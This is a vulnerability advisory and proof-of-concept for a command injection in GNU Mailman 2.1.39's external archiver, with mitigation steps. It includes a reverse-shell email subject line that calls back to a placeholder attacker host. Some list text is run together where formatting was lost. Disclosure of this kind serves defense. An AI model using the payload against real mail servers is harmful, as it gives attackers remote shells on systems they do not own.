
PoC and technical write-up for CVE-2025-43920, a remote command injection in GNU Mailman 2.1.39's external archiver allowing unauthenticated code execution via crafted email subjects.
Discovered by: Firudin Davudzada & Musazada Aydan
Disclosure Date: April 2025
CVE ID: CVE-2025-43920
Severity: 5.4 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
Attack Type: Remote
Affected Software: GNU Mailman 2.1.39 (bundled with cPanel/WHM)
GNU Mailman 2.1.39, as bundled with cPanel and WHM, is vulnerable to a critical command injection flaw that allows unauthenticated attackers to execute arbitrary operating system commands. The vulnerability occurs when an external archiver is configured using PUBLIC_EXTERNAL_ARCHIVER or PRIVATE_EXTERNAL_ARCHIVER in the mm_cfg.py configuration file, and the email subject line contains shell metacharacters that are not properly sanitized. This can lead to full system compromise, enabling attackers to establish reverse shells, exfiltrate data, or perform other malicious actions.
PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)Mailman/Handlers/ (email subject processing logic, potentially including files like CookHeaders.py);, &, |) are present.To exploit this vulnerability, an attacker can send an email to a Mailman-managed list with a malicious subject line, such as:
Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Prerequisites:
PUBLIC_EXTERNAL_ARCHIVER or PRIVATE_EXTERNAL_ARCHIVER.netcat) must be set up on ATTACKERIP:4444 to receive the reverse shell.Expected Outcome: If the external archiver command does not sanitize the subject line, the malicious command executes on the server, establishing a reverse shell to the attacker’s server.
Disable External Archivers: Set PUBLIC_EXTERNAL_ARCHIVER and PRIVATE_EXTERNAL_ARCHIVER to None in mm_cfg.py to disable external archiver functionality:
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
Sanitize Inputs: If an external archiver is required, ensure the command sanitizes the subject line to prevent shell metacharacter injection.
Restrict Subscriptions: Limit mailing list subscriptions to trusted users to reduce exposure.
Firudin Davudzada and Musazada Aydan responsibly disclosed this vulnerability during a sanctioned penetration testing engagement. Thanks to the MITRE CVE team for coordination.
Email: [email protected]\